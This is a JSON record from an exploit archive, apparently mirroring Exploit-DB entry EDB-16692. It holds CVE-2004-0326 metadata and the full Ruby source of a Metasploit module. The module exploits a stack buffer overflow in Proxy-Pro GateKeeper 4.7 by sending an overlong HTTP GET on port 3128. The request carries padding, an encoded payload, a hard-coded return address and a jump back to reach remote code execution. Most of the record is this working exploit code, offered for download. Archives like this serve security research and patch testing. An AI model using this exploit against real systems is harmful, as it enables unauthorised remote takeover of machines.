{"exploit":{"id":"EDB-16692","name":"Proxy-Pro Professional GateKeeper 4.7 - GET Overflow (Metasploit)","description":"Proxy-Pro Professional GateKeeper 4.7 - GET Overflow (Metasploit)","cves":["CVE-2004-0326"],"author":"Metasploit","published":"2010-09-20","platform":"windows","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/16692","path":"exploits/windows/remote/16692.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-16692.rb","vulnerabilities":[{"id":"CVE-2004-0326","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in the web proxy for GateKeeper Pro 4.7 allows remote attackers to execute arbitrary code via a long GET request.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2004-0326","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2004-0326"},"updatedAt":"2024-08-08T00:17:14.100Z","retrievedAt":"2026-11-26T11:57:13.074Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-16692.png?v=2","url":"https://exploitbin.com/exploits/EDB-16692","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-16692/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-16692/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# $Id: proxypro_http_get.rb 10394 2010-09-20 08:06:27Z jduck $\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = GreatRanking\n\n\tinclude Msf::Exploit::Remote::Tcp\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'Proxy-Pro Professional GateKeeper 4.7 GET Request Overflow',\n\t\t\t'Description'    => %q{\n\t\t\t\t\tThis module exploits a stack buffer overflow in Proxy-Pro Professional\n\t\t\t\tGateKeeper 4.7. By sending a long HTTP GET to the default port\n\t\t\t\tof 3128, a remote attacker could overflow a buffer and execute\n\t\t\t\tarbitrary code.\n\t\t\t},\n\t\t\t'Author'         => 'MC',\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'Version'        => '$Revision: 10394 $',\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t['CVE', '2004-0326'],\n\t\t\t\t\t['OSVDB', '4027'],\n\t\t\t\t\t['BID', '9716'],\n\t\t\t\t],\n\t\t\t'DefaultOptions' =>\n\t\t\t\t{\n\t\t\t\t\t'EXITFUNC' => 'process',\n\t\t\t\t},\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t'Space'    => 500,\n\t\t\t\t\t'BadChars' => \"\\x00+&=%\\x0a\\x0d\\x20\",\n\t\t\t\t\t'StackAdjustment' => -3500,\n\t\t\t\t},\n\t\t\t'Platform'       => 'win',\n\t\t\t'Targets'        =>\n\t\t\t\t[\n\t\t\t\t\t[ 'Proxy-Pro GateKeeper 4.7', { 'Ret' => 0x03b1e121 } ], # GKService.exe\n\t\t\t\t],\n\t\t\t'Privileged'     => true,\n\t\t\t'DisclosureDate' => 'Feb 23 2004',\n\t\t\t'DefaultTarget' => 0))\n\n\t\tregister_options(\n\t\t\t[\n\t\t\t\tOpt::RPORT(3128)\n\t\t\t], self.class)\n\tend\n\n\tdef exploit\n\t\tconnect\n\n\t\tprint_status(\"Trying target #{target.name}...\")\n\n\t\tsploit  = \"GET /\" + rand_text_english(3603, payload_badchars)\n\t\tsploit += payload.encoded + [target.ret].pack('V') + make_nops(10)\n\t\tsploit += \"\\xe9\" + [-497].pack('V') +  \" HTTP/1.0\" + \"\\r\\n\\r\\n\"\n\n\t\tsock.put(sploit)\n\t\tsock.get_once(-1, 3)\n\n\t\thandler\n\t\tdisconnect\n\tend\n\nend","sha256":"a055c0e699ab2b22ca69c484d0b17c43892a770ee3da24f9fa2a9a7b00c90d2f","bytes":1926,"fetchedAt":"2026-11-27T10:08:04.609Z","encoding":"utf-8 (display only; download retains original bytes)"}